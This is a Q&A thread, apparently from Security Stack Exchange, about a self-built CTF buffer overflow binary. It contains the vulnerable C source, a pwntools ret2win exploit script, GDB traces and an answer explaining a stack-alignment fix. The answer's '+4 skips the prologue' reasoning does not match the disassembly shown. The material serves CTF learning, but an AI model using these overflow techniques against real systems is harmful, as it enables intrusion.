0

I'm trying to develop a simple buffer overflow CTF challenge inspired by the "Csaw 2016 Quals Warmup" challenge, here. I've managed to replicate the source code:

#include <stdio.h>
#include <stdlib.h>

int easy(){
  system("cat flag.txt");
  return 0;
}

int main()
{
  char target[64];
  char input[64];
  write(1,"-Warm Up-\n",10);
  write(1,"WOW: ",4);
  sprintf(target,"%p\n",easy);
  write(1,target,9);
  write(1,"> ",1);
  gets(input);
  
  return 0;
}

My current working directory has the flag.txt file. Compiled the code with GCC using the given line:

gcc sys_call.c -o sys_call -fno-stack-protector -no-pie -z,relro

The given checksec output is as follows:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Exploiting:

Running the program outputs the following:

~/stack_BOF$ ./sys_call 
-Warm Up-
WOW:0x401196
>INPUT

The address 0x401196 corresponds to the function easy() which is our target for this challenge, we would need to change the instruction pointer $RIP to match this value.

I'm using the GDB with the GEF wrapper for dynamic analysis:

...SNIPPIT...
   0x0000000000401263 <+175>:   call   0x401090 <gets@plt>
   0x0000000000401268 <+180>:   mov    eax,0x0
   0x000000000040126d <+185>:   leave  
   0x000000000040126e <+186>:   ret    
End of assembler dump.
gef➤  

Putting the break point after the gets call, around the leave op. would help us see our input in action.

b *main+185

After multiple attempts using the pwn cyclic tool, I found the offset from our input[] array to the $RSP register (which will be used in the ret operation to set $RIP)

Here is the exploit script I'm using in python3:

from pwn import *

context.log_level = 'debug'
# context.log_level = 'critical'
context.binary = ELF('./sys_call')
context.local(endian='little')
target = process('./sys_call')

# Extracting the easy() function's address in memory
WOW = target.recvline_contains(b'0x').decode().split(':')[1]

# Padding of 136 characters, the offset between our input and the stack pointer.
payload = cyclic(136)

# Packaging the easy() address to 64-bit, little endian
payload += p64(int(WOW, 16)) 

# Saving the payload to a file to try it in GDB
with open("payload.tst",'bw') as f:
    f.write(payload)

# Send payload and Receive output
target.sendline(payload)
target.recvall()

The script's execution outputs a SEGFAULT, which made me think the script did not work; perhaps something is wrong with the offset calculation or the packaging of the address:

[*] '/stack_BOF/sys_call'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './sys_call' argv=[b'./sys_call'] : pid 14305
[DEBUG] Received 0x18 bytes:
    b'-Warm Up-\n'
    b'WOW:0x401196\n'
    b'>'
[DEBUG] Sent 0x91 bytes:
    00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  │aaaa│baaa│caaa│daaa│
    00000010  65 61 61 61  66 61 61 61  67 61 61 61  68 61 61 61  │eaaa│faaa│gaaa│haaa│
    00000020  69 61 61 61  6a 61 61 61  6b 61 61 61  6c 61 61 61  │iaaa│jaaa│kaaa│laaa│
    00000030  6d 61 61 61  6e 61 61 61  6f 61 61 61  70 61 61 61  │maaa│naaa│oaaa│paaa│
    00000040  71 61 61 61  72 61 61 61  73 61 61 61  74 61 61 61  │qaaa│raaa│saaa│taaa│
    00000050  75 61 61 61  76 61 61 61  77 61 61 61  78 61 61 61  │uaaa│vaaa│waaa│xaaa│
    00000060  79 61 61 61  7a 61 61 62  62 61 61 62  63 61 61 62  │yaaa│zaab│baab│caab│
    00000070  64 61 61 62  65 61 61 62  66 61 61 62  67 61 61 62  │daab│eaab│faab│gaab│
    00000080  68 61 61 62  69 61 61 62  96 11 40 00  00 00 00 00  │haab│iaab│··@·│····│
    00000090  0a                                                  │·│
    00000091
[+] Receiving all data: Done (1B)
[*] Process './sys_call' stopped with exit code -11 (SIGSEGV) (pid 14305)

Looking at the same payload in GDB, it looks correct for the most part, we wrote the correct address in $RIP after the execution of the ret operation.

gef➤  r < payload.tst 
Starting program: /stack_BOF/sys_call < payload.tst
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
-Warm Up-
WOW:0x401196
>
Breakpoint 1, 0x000000000040126d in main ()

...SNIP...

gef➤  ni
0x000000000040126e in main ()

...SNIP...

 →   0x40126e <main+186>       ret    
   ↳    0x401196 <easy+0>         endbr64 
        0x40119a <easy+4>         push   rbp
        0x40119b <easy+5>         mov    rbp, rsp
        0x40119e <easy+8>         lea    rax, [rip+0xe5f]        # 0x402004
        0x4011a5 <easy+15>        mov    rdi, rax
        0x4011a8 <easy+18>        call   0x401080 <system@plt>

Finally we come to the main point of this thread/question:

If we continue the execution from the previous point, one instruction at a time. We will eventually land on the SIGSEGV as soon as we hit the system call shown below:

gef➤  
0x00000000004011a8 in easy ()

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0000000000402004  →  "cat flag.txt"
$rbx   : 0x0               
$rcx   : 0x00007ffff7e1aaa0  →  0x00000000fbad2098
$rdx   : 0x1               
$rsp   : 0x00007fffffffdf78  →  "haabiaab"
$rbp   : 0x00007fffffffdf78  →  "haabiaab"
$rsi   : 0x1               
$rdi   : 0x0000000000402004  →  "cat flag.txt"
$rip   : 0x00000000004011a8  →  <easy+18> call 0x401080 <system@plt>
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x77              
$r11   : 0x246             
$r12   : 0x00007fffffffe088  →  0x00007fffffffe3bd  →  "/stack_BOF/sys_c[...]"
$r13   : 0x00000000004011b4  →  <main+0> endbr64 
$r14   : 0x0000000000403e18  →  0x0000000000401160  →  <__do_global_dtors_aux+0> endbr64 
$r15   : 0x00007ffff7ffd040  →  0x00007ffff7ffe2e0  →  0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf78│+0x0000: "haabiaab"   ← $rsp, $rbp
0x00007fffffffdf80│+0x0008: 0x0000000000000000
0x00007fffffffdf88│+0x0010: 0x00000000004011b4  →  <main+0> endbr64 
0x00007fffffffdf90│+0x0018: 0x00000001ffffe070
0x00007fffffffdf98│+0x0020: 0x00007fffffffe088  →  0x00007fffffffe3bd  →  "/stack_BOF/sys_c[...]"
0x00007fffffffdfa0│+0x0028: 0x0000000000000000
0x00007fffffffdfa8│+0x0030: 0x59a68be822d4ea3d
0x00007fffffffdfb0│+0x0038: 0x00007fffffffe088  →  0x00007fffffffe3bd  →  "/stack_BOF/sys_c[...]"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40119b <easy+5>         mov    rbp, rsp
     0x40119e <easy+8>         lea    rax, [rip+0xe5f]        # 0x402004
     0x4011a5 <easy+15>        mov    rdi, rax
 →   0x4011a8 <easy+18>        call   0x401080 <system@plt>
   ↳    0x401080 <system@plt+0>   endbr64 
        0x401084 <system@plt+4>   bnd    jmp QWORD PTR [rip+0x2f95]        # 0x404020 <[email protected]>
        0x40108b <system@plt+11>  nop    DWORD PTR [rax+rax*1+0x0]
        0x401090 <gets@plt+0>     endbr64 
        0x401094 <gets@plt+4>     bnd    jmp QWORD PTR [rip+0x2f8d]        # 0x404028 <[email protected]>
        0x40109b <gets@plt+11>    nop    DWORD PTR [rax+rax*1+0x0]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
system@plt (
   $rdi = 0x0000000000402004 → "cat flag.txt",
   $rsi = 0x0000000000000001,
   $rdx = 0x0000000000000001
)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sys_call", stopped 0x4011a8 in easy (), reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4011a8 → easy()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  

Program received signal SIGSEGV, Segmentation fault.

The expected output would be the content of the flag.txt file which is a normal ASCII test file.

flag{test}

I would appreciate some assistance in understanding what is happening and perhaps what I did wrong.

More info:

Distributor ID: Ubuntu
Description:    Ubuntu 22.04.4 LTS
Release:    22.04
Codename:   jammy

Linux HOSTNAME 6.5.0-27-generic #28~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC x86_64 x86_64 x86_64 GNU/Linux
3
  • "I would appreciate some assistance in understanding what is happening" - This is a pure programming question and is off-topic on Security SE. I suggest to move this question to SO.
    – mentallurg
    Commented Apr 15 at 1:53
  • @mentallurg Thank you for the heads-up, you might be right. I'll keep that in mind for future questions.
    – FreezeLuiz
    Commented Apr 15 at 16:52
  • Welcome to the community. Have you tried messing with randomize_va_space setting in the kernel? That's the one step you have seem to have skipped... Commented Apr 15 at 18:11

1 Answer 1

0

Your exploit is correct, you only need to adjust the target address. In fact, the only thing needed for it to work is to change this line:

p64(int(WOW, 16))

with

p64(int(WOW, 16) + 4)

The reason is that the SYS V ABI for x86-64 requires the stack to be aligned (on 16B) at the call site (i.e. when a call is executed).
The call instruction itself will misalign the stack, pushing an 8B return address, and the callee will realign the stack itself (either by pushing another 8B with push rbp or by subtracting a suitable amount from the stack pointer).
So when the first instruction in main is executed, the stack is misaligned by 8B; when main returns the return address (that we modified) is popped off the stack, realigning it.
The control is hijacked into easy but since this was not done through a call, the function will misalign the stack by pushing rbp and system will throw when using movaps (which requires an aligned destination address).
The solution is to skip the prologue of easy and jump directly to the instruction that sets the command parameter for system.
The prologue is 4B long (push rbp / mov rbp, rsp).

After the call to system the program will crash, but not before having printed the value of the flag.

Maybe this program was meant to be compiled as a 32-bit binary.

I think you could adjust the stack pointer with a ROP chain but then you could return straight into system with the /bin/sh string embedded into glibc.

1
  • Thank you so much for your time and your reply.
    – FreezeLuiz
    Commented Apr 16 at 14:31

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .